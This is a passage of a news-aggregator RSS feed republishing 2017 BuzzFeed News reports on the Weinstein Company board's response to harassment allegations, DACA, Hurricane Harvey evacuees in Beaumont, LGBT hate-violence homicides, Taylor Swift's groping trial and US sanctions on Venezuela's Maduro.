The board also publicly announced Friday it has hired an outside attorney — John Kiernan of Debevoise & Plimpton LLP — to conduct an investigation of the allegations. “We take extremely seriously the accusations published in today’s New York Times about our Company’s co-chairman Harvey Weinstein,” the statement read in part. “It is essential to our Company’s culture that all women who work for it or have any dealings with it or any of our executives are treated with respect and have no experience of harassment or discrimination.” (The full statement is below.)

In the board’s statement, Weinstein’s leave was framed as an endorsement of his own decision: that he would go on voluntary leave to get therapy and reflect on his past behavior, as he said in his statement Thursday. “I’ve brought on therapists and I plan to take a leave of absence from my company and to deal with this issue head on,” Weinstein wrote in his meandering statement. In it, he also said he would channel his anger toward the NRA and misquoted Jay-Z.

On Friday, the Weinstein board stated: “We strongly endorse Harvey Weinstein’s already-announced decision to take an indefinite leave of absence from the Company, commencing today. As Harvey has said, it is important for him to get professional help for the problems he has acknowledged. Next steps will depend on Harvey’s therapeutic progress, the outcome of the Board’s independent investigation, and Harvey’s own personal decisions.”

The Weinstein Company will be run by Bob Weinstein, its co-founder and CEO, and David Glasser, its president and COO. According to Variety, the board is weighing “terminating him with cause.” A New York Times story Friday evening reported that three board members — Marc Lasry, Dirk Ziff, and Tim Sarnoff — resigned on Friday, and that a fourth, Paul Tudor Jones, did not sign the letter below.

The New York Times chronicled 30 years of accusations against Weinstein, with many former employees and Ashley Judd going on the record about his alleged inappropriate behavior. Charles Harder, one of Weinstein’s lawyers, told BuzzFeed News Thursday that Weinstein is going to sue the New York Times for unspecified damages. The lawsuit has yet to be filed.

A source told BuzzFeed News that another investigative story about Weinstein — this one in the New Yorker by Ronan Farrow — has yet to be published, though it has been fact-checked, indicating it will post soon.

The undersigned members of the Weinstein Company’s Board of Representatives, constituting a majority of the Board, make the following statement.

We take extremely seriously the accusations published in today’s New York Times about our Company’s co-chairman Harvey Weinstein. It is essential to our Company’s culture that all women who work for it or have any dealings with it or any of our executives are treated with respect and have no experience of harassment or discrimination.

We believe it is important to learn the full truth regarding the article’s very serious accusations, in the interests of the Company, its shareholders and its employees. To that end, we have retained an independent and leading lawyer and firm, John Kiernan of Debevoise & Plimpton LLP, to undertake a thorough and independent investigation and report to the full Board on the results of that investigation. Working with Mr. Kiernan will be his partners Matthew Fishbein, former Chief Assistant United States Attorney for both the Southern and Eastern Districts of New York, and Helen Cantwell, former prosecutor in the Southern District of New York and the New York County District Attorney’s Sex Crimes Unit, who have extensive experience in these kinds of investigations. The investigating lawyers will be reporting to a special committee of the board composed exclusively of independent directors

We strongly endorse Harvey Weinstein’s already-announced decision to take an indefinite leave of absence from the Company, commencing today. As Harvey has said, it is important for him to get professional help for the problems he has acknowledged. Next steps will depend on Harvey’s therapeutic progress, the outcome of the Board’s independent investigation, and Harvey’s own personal decisions.

In the meantime, the Company is under the leadership of its Co-Chairman, Bob Weinstein, and its Chief Operating Officer, David Glasser, who plan to proceed with business in the ordinary course.

Robert Weinstein

Tarak Ben Ammar

Lance Maerov

Richard Koenigsberg

Kate Aurthur is the chief Los Angeles correspondent for BuzzFeed News. Aurthur covers the television and film industries.

Contact Kate Aurthur at kate.aurthur@buzzfeed.com.

Got a confidential tip? Submit it here.

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-is-important-for-him-to-get-professional-help/feed/ 0 “It Makes Me Terrifically Sad” https://briefnews.eu/it-makes-me-terrifically-sad/ https://briefnews.eu/it-makes-me-terrifically-sad/#respond Mon, 04 Sep 2017 05:22:12 +0000 http://briefnews.eu/it-makes-me-terrifically-sad/

As President Donald Trump nears a decision on what to do with undocumented immigrants who came to the US as children, Republicans will again face immigration policy issues with the immigration status of thousands with next year’s mid-term elections in the mix.

Trump on Tuesday is expected to reveal what he will do with the Deferred Action for Childhood Arrivals program, or DACA, an Obama-era initiative that protects those immigrants from deportation. Politico, citing two unidentified sources, reported late Sunday that the White House is expected to end DACA but leave a window for the GOP-controlled Congress to take up the issue. (BuzzFeed News has not confirmed that, though.)

Just four years ago, building stronger relationships with Hispanic voters was among the key recommendations from the Republican National Committee’s Growth and Opportunity Project — better known as the “autopsy” following the party’s loss in the 2012 presidential election.

“If Hispanic Americans hear that the GOP doesn’t want them in the United States, they won’t pay attention to our next sentence,” the autopsy concluded. “It doesn’t matter what we say about education, jobs or the economy; if Hispanics think that we do not want them here, they will close their ears to our policies. In essence, Hispanic voters tell us our Party’s position on immigration has become a litmus test, measuring whether we are meeting them with a welcome mat or a closed door.”

Trump basically rejected the autopsy in total, campaigning on a tough anti-immigration platform that included a pledge to complete a border wall between the US and Mexico and saying, in his announcement speech, that the country was sending “rapists” to the United States.

BuzzFeed News reached out to all five autopsy co-authors Friday with three questions:

What concerns, if any, you have for the future of the party should the president end DACA?

Do you believe doing so would run counter to your recommendations?

Do you have any other concerns about the president’s leadership with regard to recommendations from the Growth and Opportunity Project?

By Sunday evening, only one of the co-authors had responded: Sally Bradshaw, who was a top adviser to former Florida Gov. Jeb Bush and his unsuccessful campaign for last year’s Republican presidential nomination — and who has spent the time since that period offering increasingly and deeply critical assessments of Trump.

Bradshaw started with a reminder via email that she left the GOP last summer, after Trump’s nomination was secure. She wrote that she now has no party affiliation.

“Donald Trump is anti-woman, anti-Hispanic, anti-black, anti-anything that would bring the country together,” she responded when pressed further. “The only thing he is for is himself. Those in Republican leadership who have enabled his behavior by standing silent or making excuses for him deserve the reckoning that will eventually come for the GOP. It makes me terrifically sad to be honest — sad for the party of ideas that I supported for over 30 years — even more sad for the country and the fact that we can no longer have a credible and important debate about issues that will lead to problem solving. I am a conservative. But I can’t and won’t be a Republican as long as Donald Trump is the leader of the Republican Party.”

Autopsy co-authors who did not respond: Henry Barbour, an RNC committeeman from Mississippi; former White House press secretary Ari Fleischer; Zori Fonalledas, an RNC committeewoman from Puerto Rico; and Glenn McCall, an RNC committeeman from South Carolina.

Several prominent Republicans have expressed a desire to negotiate on DACA, including House Speaker Paul Ryan.

A RNC spokesperson declined to comment.

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-makes-me-terrifically-sad/feed/ 0 “It Looks Like A War Zone” https://briefnews.eu/it-looks-like-a-war-zone/ https://briefnews.eu/it-looks-like-a-war-zone/#respond Sat, 02 Sep 2017 00:38:00 +0000 http://briefnews.eu/it-looks-like-a-war-zone/

Amber Jamieson for BuzzFeed News

Evacuees in Beaumont civic center evacuation shelter use torches after the electricity cut out Thursday afternoon.

BEAUMONT, Texas — With no running water since Thursday morning, intermittent electricity, few medical facilities, little food, and rising floodwaters, the situation in Beaumont, Texas, became increasingly dire for its trapped residents, forcing the evacuation of the city’s two relief shelters to Dallas.

More than 120 evacuees from Harvey relief shelters in Beaumont slept on buses overnight outside the Jack Brooks regional airport as they waited to be flown to the mega-shelter evacuation center in Dallas on Friday.

“It looks like a war zone,” said Beaumont resident Shayla Harris, 50, as rescue helicopters buzzed overheard outside the Beaumont Civic Center Shelter on Thursday afternoon.

Harris, a Red Cross volunteer, had moved into the Beaumont Civic Center shelter on Monday with her elderly mother after the floods began.


Amber Jamieson for BuzzFeed News

“I just found out we have no bread in the city. No bread, no water, electricity dropping in and out,” Harris said. “There is no money in the teller machines. What do you do in this city with nothing?”

By late Thursday, the aftermath of Harvey was squeezing Beaumont, a city of 120,000 people, on multiple fronts.

The Neches River, which flows through the middle of the city and alongside the Beaumont Civic Center, was rising rapidly as officials upstream released water from a dam, Beaumont Officer Haley Morrow told BuzzFeed News. The rising water raised concerns that additional neighborhoods might be flooded.

On Thursday, picnic tables and park benches visible a day earlier were covered by floodwater.

A day earlier, evacuees watched as an entire house floated down the river in front of them. The house hit a bridge and then broke down and sunk, its roof the last bit to slip under the floodwaters, witnesses told BuzzFeed News.


Xavier Holloman

Harris drove to the town’s cemetery on Wednesday to check on the grave of her daughter, who was murdered as a newborn.

“I tried to go around to make sure my daughter wasn’t floating through there. You can see the headstones sitting underwater,” Harris said. “I was stopped in my tracks by the water. I couldn’t see anything but water, nothing but water.”

Jenna Rector, a 25-year-old 911 dispatcher in Beaumont, closed the purchase of her new home in nearby Lumberton on Friday. But she only spent one night in the new home before the water started seeping in.

At first, it was just a few inches, but over the next several days, the water rose higher and higher until Wednesday, when it was brushing the roof.

“It’s considered a total loss,” Rector — whose sister, father, and brother also work for the police department — told BuzzFeed News Thursday. “It’s to the roof. It’s an indescribable feeling. I feel like I don’t have anything.”

“I couldn’t cry more tears if I tried,” she added.

Accessing medical supplies was also an issue for Beaumont flood victims, specifically because the civic evacuation center said they could only fulfill prescriptions – not write them.

Harris’s mother is diabetic and insulin-dependent, and also uses an oxygen tank regularly, but Harris did not have her prescriptions with her.

“I have one vial of insulin,” she said. “I’ve been trying to call the pharmacy all day and they’re closed.”

Diabetic Dionya Holloman, 23, had fled her Beaumont home to the civic evacuation center when the water reached the balcony and did not have an insulin prescription with her.

Holloman hadn’t tested her blood sugar for two days and had gone out without her normal insulin injections for three or four days before finally receiving an insulin shot by doctors on Thursday morning.


Amber Jamieson for BuzzFeed News

“Before they gave me my medicine I was dizzy, I was nauseated,” she told BuzzFeed News, clearly still weakened and ill. Her blood-sugar level, which is not supposed to be above 170, was at 378 when doctors checked it.

“They told if I had went into diabetic shock here, they would have had to care of me here, all the hospitals are closed down,” she said.

Others were just desperate to eat.

Robert Jones, 66, from Beaumont dropped by the center with his two young granddaughters, trying to get some food and water. Their electricity had cut out Wednesday night, and they’d eaten the leftover chili, rice, and milk left in the fridge. Now the water was no longer running and the fridge was bare.

Jones said he’s on a fixed monthly income that had already gone to rent and bills. He had $ 4 in cash left and was trying to conserve gas as they drove to supermarkets with empty shelves.

His 11-year-old granddaughter, Myiunique, lives in Port Arthur with her mother and sister, but had been staying with her grandfather when the floods hit, her mother escaping to an evacuation center on the back of a pick-up truck.

“To be honest, I’m very depressed. My spirits literally dropped,” Myiunique said before breaking down in tears.

But people were arriving with food supplies. Thursday afternoon, Will Reddy Johnson arrived at the Beaumont Civic Center with several friends in his “party bus” — which they had loaded with donated supplies.


Jim Dalrymple II for BuzzFeed News

The men drove two hours and came into Texas under the escort of a National Guard convoy that they had encountered while trying to find a way around the flood waters.

Johnson said that he and his friends came to Texas to help people as they attempt to rebuild their lives.

“With all the blessings you’ve had in life,” Johnson added, “how you know you don’t owe God one.”

As BuzzFeed News walked into the convention center at around 4:40 p.m. on Thursday, the electricity suddenly cut out and the building was plunged into darkness.

“Go back to your cots,” officials yelled out.

Electricity just went out at the evacuation center in Beaumont. Unsure if this is temporary.

Electricity just went out at the evacuation center in Beaumont. Unsure if this is temporary.

Evacuees walked around in the dark, or huddled around their beds. Only a few had flashlights. After about 30 minutes of pitch black, the lights came back on and officials immediately announced that the center was to be evacuated that evening.

Residents could either return to their home in Beaumont, if it was safe, or they would be evacuated to San Antonio.

“We need to go ahead and start packing up our cots and making a decision about what you’re going to do,” declared a Red Cross official with a megaphone.

Red Cross volunteers began handing out black garbage bags.

Asked whether she planned to head to San Antonio, retired special education high school Lynette Sturgal, 69 replied: “I can’t go home. My house is completely underwater.”

When she left her Beaumont home with her husband as the Harvey floods hit, their home was filled with 4 feet of water.


David J. Phillip / AP

Texas Task Force 1 rescue swimmer Greg Reddish flies over flooded areas near Beaumont, Texas.

“When I left, I was carrying a 25-pound dog, my husband was carrying a dog, and the water was in the street to here,” Sturgal said while motioning to her upper thigh.

Her car, paid off in full three months ago, was flooded to the windows when they left.

“They’re all gone. Everything is gone,” she said. “I think I lost all my cats, because I couldn’t bring them. I had to leave them in the house. There were eight of them, my babies. The water was getting so high, so fast.”

She saw two of them swim through the water and climb to higher ground and hopes they survived.

Luckily, Sturgal was able to keep her dogs with her at the shelter and officials said they too would be transferred with their owners by bus to San Antonio – before the plan changed again.

Officer Morrow said Friday the shelters served a total of about 1,500 people before they shut down.

Many of the evacuees were able to return home by Friday, but about 40% of the remaining people then had to be flown to Dallas — a “Plan B” that Morrow said needed after roads proved to be too flooded for buses to make it through.

According to Dallas city manager TC Broadnax, 120 people arrived in the city from Beaumont Friday morning. Others were on their way, with more flights planned for the afternoon.

Harris and her mother boarded a plane to Dallas at 3:30 p.m. after sleeping overnight on the bus at the airport and waiting for a flight.

“We are OK, but still have no insulin,” she texted BuzzFeed News.

If you’ve been impacted by the storm in Texas or have a tip about rescue, relief, government, or aid efforts, call the BuzzFeed News tipline at (646) 589-8598. Find us on Signal, email, SecureDrop, and more here.

Jim Dalrymple is a reporter for BuzzFeed News and is based in Los Angeles.

Contact Jim Dalrymple II at jim.dalrymple@buzzfeed.com.

Got a confidential tip? Submit it here.

Promoted by

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-looks-like-a-war-zone/feed/ 0 “It Should Be A Wake-Up Call” https://briefnews.eu/it-should-be-a-wake-up-call/ https://briefnews.eu/it-should-be-a-wake-up-call/#respond Fri, 11 Aug 2017 02:25:56 +0000 http://briefnews.eu/it-should-be-a-wake-up-call/

Bastiaan Slabbers / Getty Images

More LGBT people have been killed in what advocacy groups categorize as hate-violence-related homicides so far in 2017 than in all of 2016, according to data from an LGBT rights organization.

As of August 2017, there have been 33 hate-violence-related homicides of LGBT people, according to the National Coalition of Anti-Violence Programs’ count. In 2016, there were 28 — that number excludes the 49 people killed in the Pulse nightclub shooting in Orlando.

The numbers translate to roughly one hate-violence-related death every 13 days in 2016. So far in 2017, the pace of those deaths is at about one every six days.

Fifteen of those who were killed in 2017 were transgender women of color, and at least 12 were cisgender gay men. The reports came from all over the US, from Texas to New York to Wisconsin.

The NCAVP said that there’s no one clear explanation for the increase, but that it could be driven by a combination of increased media reporting, more accurate identification of victims by law enforcement, and a possible increase in violence. Increased media attention to LGBT rights — and particularly transgender rights — in recent months could also be part of the explanation.

“I think whether it’s an increase in reporting, an increase in violence, or some combination thereof, it should be a wake-up call for us across our communities that hate violence is not going away, it’s certainly not decreasing, and it’s symptomatic of larger and deeper problems in our society that we still haven’t addressed,” Beverly Tillery, executive director at the New York City Anti-Violence Project, told BuzzFeed News. Her group coordinates with the NCAVP and is the lead agency that puts together the violence report.

“It should be a wake-up call for us across our communities that hate violence is not going away.”

The NCAVP’s tally is not definitive, but it’s the most comprehensive yearly indicator — in the absence of reliable nationwide government data — of how many homicides of LGBT people are being reported around the country. The organization gathers data from media reports, friends and family members of victims, and member organizations across the country.

They categorize homicides as “hate violence” if it appears that the victim was targeted because of their gender identity or sexual orientation. That doesn’t necessarily mean the cases were classified as hate crimes by law enforcement, which has a different set of legal standards.

Dallas Drake, senior researcher at the Center for Homicide Research, says that the rate of homicides of trans women and gay men are worth studying, but that there’s no way of knowing if these figures represent an actual increase in violence. Either way, he said, the NCAVP is likely undercounting the real number.

“There are a lot more homicides of LGBT people than what they report,” Drake said. “They don’t report generally from communities that are smaller or where cases are not easily identifiable as LGBT homicides.”

Vanessa Panfil, an assistant professor of sociology and criminal justice at Old Dominion University in Virginia, said that an increase in violence is in line with a real backlash against progress made on LGBT rights in recent years.

That backlash, she says, has been encouraged in part by the Trump administration walking back Obama-era guidances and policies that were LGBT-inclusive, such as supporting trans students’ rights and signaling a ban on allowing trans people to serve in the military. As a result, transgender people across the country are relying on courts to decide if they’re allowed to access bathrooms in line with their gender identities — a decision the Supreme Court decided not to weigh in on when it sent a landmark trans rights case back to a lower court earlier this year. On the state level, transgender “bathroom bills” aren’t gaining much traction since the defeat of North Carolina’s HB2 — but some state legislatures are now considering bills that would prevent cities and local councils from having nondiscrimination ordinances.

The increase in violence could be “influenced by heterosexism, transphobia, and homophobia that have always existed but now partly fueled by backlash,” said Panfil, who studies hate crimes against LGBT people.


Facebook

Chyna Gibson

Two of the trans women of color killed this year were in New Orleans. Chyna Gibson, 31, was shot and killed outside a shopping mall, and Ciara McElveen, 25, was stabbed to death in the city’s 7th Ward. The incidents were unrelated.

Gibson, who grew up in New Orleans but lived in Sacramento, was in the city to celebrate Mardi Gras, friends told the Times-Picayune in March. She was gunned down on a Saturday in February outside the Bella Plaza shopping center, where she’d gone to pick up a dress for a party that night.


Facebook

Ciara McElveen

She was a well-known performer on the drag scene nationally, where she went by the stage name Chyna Doll Dupree. “It’s a shocker to everyone because she didn’t have any drama with anyone, and I’ve never heard her say she was into something,” Dayshawn Brown, a friend of Dupree’s, told the paper.

The following Monday morning, Ciara McElveen was stabbed several times and found on a sidewalk. The Times-Picayune reported that a witness told police he saw a man driving a black car, with McElveen riding in the passenger seat, pull over to the side of the road. The man then took something out of the trunk of the car, went around to the passenger’s side, and stabbed McElveen, before dragging her out of the car and slamming her head into the pavement. He then drove away.

“She was outgoing… and she had a good head on her shoulders,” a friend of McElveen’s, named Ayrielle, told the paper at a vigil a few days later. “Justice needs to be served.”

The New Orleans Police Department said they are investigating Gibson’s murder as a hate crime, but not McElveen’s. They say the determination is ultimately made by the FBI after local authorities refer the case to them (hate crime laws in Louisiana and 12 other states cover sexual orientation, but not gender identity). The Orleans Parish District Attorney’s office didn’t immediately respond to a request for comment.

Sgt. Frank Robertson, the New Orleans Police Department’s LGBT liaison, said that in the two years he’s been in his role, he feels he’s made progress on improving the relationship between police and LGBT residents of the city.

“The challenges that we do face with members of the trans and gay community is that members are reluctant to come and speak to us for obvious reasons that they’re either afraid or they don’t trust the police,” Robertson said.

CoBella Monroe, 20, an advocate at the New Orleans trans activist group BreakOUT, told BuzzFeed News that without antidiscrimination protections, many trans and gender-nonconforming people nationally are left without the protections that come with having a steady income and place to live.

“We have to make sure that our community has resources so those numbers go down so that people aren’t being harassed and attacked on the streets,” she said.

Across the US, 28 states have no housing or employment laws specifically protecting LGBT people from discrimination. Two other states, Wisconsin and New Hampshire, have those protections, but only for sexual orientation, not gender identity.


Facebook

Andrew Nesbitt

In another case in March this year, Andrew Nesbitt was stabbed to death in his apartment in Madison, Wisconsin. It was the day of his 46th birthday.

Nesbitt had been out celebrating his birthday with friends at a local bar the evening before, the Wisconsin State Journal reported, and it’s not clear how he met the man charged with his murder. Nesbitt’s roommate found him dead, with multiple stab wounds, in their apartment the morning after his birthday party.

Darrick E. Anderson, 23, was charged with first-degree homicide after a blood sample found in Nesbitt’s kitchen matched his own.

Nesbitt’s killing is not currently being investigated as a hate crime. The Madison Police Department and Dane County District Attorney’s Office didn’t immediately return a request for comment.

Kathy Flores, an LGBTQ anti-violence program manager for the Wisconsin advocacy group Diverse & Resilient, knew Nesbitt well — she first met him after he was attacked and severely injured in a hate crime outside a gay bar in 2011.

“I work with a number of survivors who have been attacked in their homes, outside their workplaces, in and outside of LGBTQ bars, in parks downtown, things like that. The message this sends to LGBTQ folks is clear: that we may not be safe anywhere,” she said.

She says the value of a tally like the NCAVP’s is that it draws attention to killings that may not fit the strict legal definition of “hate crime” but where it’s anecdotally clear that the victim died because they were targeted for their sexual orientation or gender identity.

“I think the distinction is different for advocates than it might be by the legal definition,” she said, giving an example of a bartender in Milwaukee who was killed after leaving a gay bar earlier this year, whose case was not treated as a hate crime. “The intent may have been robbery but the victimization could have been related to the fact that he was gay and seen coming out of an LGBTQ establishment. So I think the targeting definitely does have hate and homophobia bias.”

Got a confidential tip? Submit it here.

Promoted by

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-should-be-a-wake-up-call/feed/ 0 “It Was An Assault” https://briefnews.eu/it-was-an-assault/ https://briefnews.eu/it-was-an-assault/#respond Tue, 08 Aug 2017 18:43:14 +0000 http://briefnews.eu/it-was-an-assault/

Taylor Swift’s legal team on Tuesday began walking jurors through a 2013 backstage photo shoot where the singer alleges a DJ reached under her skirt and grabbed her butt.

“It was an assault and Ms. Swift reported it,” the singer’s attorney, Douglas Baldridge, said. “She has been in tens of thousands of meet-and-greets, including going out in the crowds, and she never had this happen.”

Swift and the DJ, David Mueller, are in federal court in Denver for lawsuits they filed against each other over the allegations.

Mueller was first to file his lawsuit in 2015, claiming the allegations were false and led to his being fired. Swift followed with a lawsuit of her own against Mueller, alleging sexual assault.

Now, two years later, the jury of two men and six women will decide who’s telling the truth.

In his opening statement Tuesday, Mueller’s attorney, Gabriel McFarland, told jurors that sexual assault is clearly wrong, but so is “falsely accusing someone” of inappropriately touching.

“David Mueller unequivocally denies he touched her inappropriately in anyway,” McFarland said. “No inappropriate contact that is Mr. Mueller’s position.”

A piece of evidence that will play a central role in the trial is a photograph obtained by TMZ and sealed by the court that shows Mueller standing next to Swift with his hand behind her and below her waist.

Swift’s attorneys have called the image “damning” proof, but legal experts say that since the photo doesn’t actually show any groping, the case will rest heavily on credibility.

Swift’s contention, McFarland said, is that they met and then “30 seconds he’s got his hand up her skirt.”

“I don’t know what kind of person would do that,” he told the court. “There were 10 people in the room in and not one of them said they saw anything.”

Swift has argued she has no motivation to make up the allegation, and is fighting Mueller in court to ”serve as an example” to other women who have been assaulted.

“What possible motivation would Taylor Swift have to make up a story?” Baldridge said. “Ms. Swift will get on the stand and tell you that she is absolutely certain that David Mueller grabbed her rear.”

In court documents, Mueller said he voluntarily passed a polygraph in which he denied inappropriate contact with Swift, but at the end of the day, “it is his word against hers,” Howard King, who has represented Dr. Dre, Metallica, and Lil Wayne, told BuzzFeed News before the trial.

Unlike a criminal case, the jury of eight don’t have to reach a decision beyond a reasonable doubt. Instead, they must only be convinced by a “preponderance of the evidence” in order for one side to prevail, or as one attorney put it, “50% and a feather.”

Swift’s team said they went to Mueller’s management, and not police, in an effort to keep the incident under the radar, but that all changed when the DJ filed his lawsuit.

“What is at stake is, will this man be able to stifle a young woman’s ability to report a sexual assault?” Baldridge told jurors. “If this person cannot stand up and serve as an example to other young women who have been sexually assaulted, then who can?”

—Claudia Rosenbaum

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-was-an-assault/feed/ 0 “It Could Bring Venezuela To Its Knees” https://briefnews.eu/it-could-bring-venezuela-to-its-knees/ https://briefnews.eu/it-could-bring-venezuela-to-its-knees/#respond Tue, 01 Aug 2017 11:39:07 +0000 http://briefnews.eu/it-could-bring-venezuela-to-its-knees/

MEXICO CITY, Mexico — The US government sanctioned Venezuelan President Nicolás Maduro just one day after the socialist leader held a controversial vote to rewrite the constitution, further isolating the politically embattled country.

“Yesterday’s illegitimate elections confirm that Maduro is a dictator who disregards the will of the Venezuelan people,” Treasury Secretary Steven T. Mnuchin said on Monday in a statement announcing the sanctions.

The designation freezes Maduro’s assets in the US and prohibits Americans from dealing with him.

“The threats and sanctions from the Empire don’t intimidate me. Nothing in this world intimidates me,” Maduro said in response to the US action during a news conference. “I have nothing to fear from God because he loves me.”

Then on Tuesday, reports began to emerge that two of Venezuela’s leading opposition figures were taken from their homes in the middle of the night by state security agents.

The wife of opposition leader Leopoldo Lopez posted a video on Twitter of her husband being taken away during the night.

“They’ve just taken Leopoldo from the house,” Lilian Tintori posted. “We don’t know where he is or where they’re taking him.”

Allies of former Caracas Mayor Antonio Ledezma also posted a video online that appeared to show him being put into a car while neighbors screamed for help. A woman is heard to cry: “They’re taking Ledezma! It’s a dictatorship!”

Both Lopez and Ledezma have been outspoken critics of Maduro and have been detained and imprisoned in the past. US officials have yet to comment on reports about their arrest.

The move to sanction Maduro has brought the US one step closer to imposing broader economic sanctions on the country, which are both feared for the impact they may have on the Venezuelan people and believed to be necessary to put an end to Maduro’s government.

Should the sanctions on Maduro not have their intended effect, the US Congress is considering targeting Maduro’s wife, Cilia Flores, followed by the Socialist Party’s No. 2, Diosdado Cabello, and Defense Minister Vladimir Padrino in future sanctions, a Venezuelan official with knowledge of the ongoing discussion told BuzzFeed News.

The official, who asked for anonymity because of the sensitive nature of the matter, added that if individual sanctions do not stem the political crisis, President Donald Trump’s administration will likely target Venezuela’s oil sector, which accounts for 95% of its export earnings and about 25% of its gross domestic product. According to the official, the US would first stop selling refined gasoline to Venezuela, then issue a full oil embargo.

“We don’t comment on future sanctions, but we will continue to monitor the situation,” Mnuchin told reporters at a White House briefingon Monday.

Sanctions on the oil and gas industry, experts agree, would hurt average Venezuelans who are already struggling to find medicine and get enough food for a single daily meal. It would also potentially cause inflation, already in the triple digits, to surpass 1,000%.

“It could bring Venezuela to its knees,” Eric Farnsworth, vice president of the nonprofit Americas Society/Council of the Americas, told BuzzFeed News.

David Smilde, senior fellow at the Washington Office of Latin America, said economic sanctions could cause a famine in the country, which was once one of the most prosperous in Latin America.

Yet some argue that this may be the only way to halt Maduro’s increasingly authoritarian rule. The elections on Sunday that caused Maduro to be placed on the US’s sanctions list for Venezuela was for members of a new constituent assembly that will redraft the constitution. Those members now have the power to dissolve the National Assembly, one of the last opposition holdouts in the country.

At least 10 demonstrators were killed during clashes with the police, making it the deadliest day in three months marked by regular protests and increasing fractures within the ruling party. “All political rights are threatened. We are facing a dictatorial ambition,” said Attorney General Luisa Ortega, who was close to the late former president Hugo ChĂĄvez, on Monday.

“It would be very difficult to achieve a political change without economic sanctions, which would end the corruption schemes the government lives off,” Enrique Altimari, the international representative for Primero Justicia, one of the main opposition parties, told BuzzFeed News.

In May, the Treasury Department added eight members of the Maduro-friendly Supreme Court to its sanctions list. Earlier this year, the Office of Foreign Assets Control designated Venezuelan Vice President Tareck El Aissami, referring to him as a prominent drug trafficker.

Maduro is the fourth head of state currently sanctioned by the Treasury. Others include North Korea’s Kim Jong Un, Zimbabwean President Robert Mugabe and Syrian President Bashar al-Assad.

Karla Zabludovsky is the Mexico bureau chief and Latin America correspondent for BuzzFeed News and is based in Mexico City.

Contact Karla Zabludovsky at Karla.Zabludovsky@buzzfeed.com.

Got a confidential tip? Submit it here.

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-could-bring-venezuela-to-its-knees/feed/ 0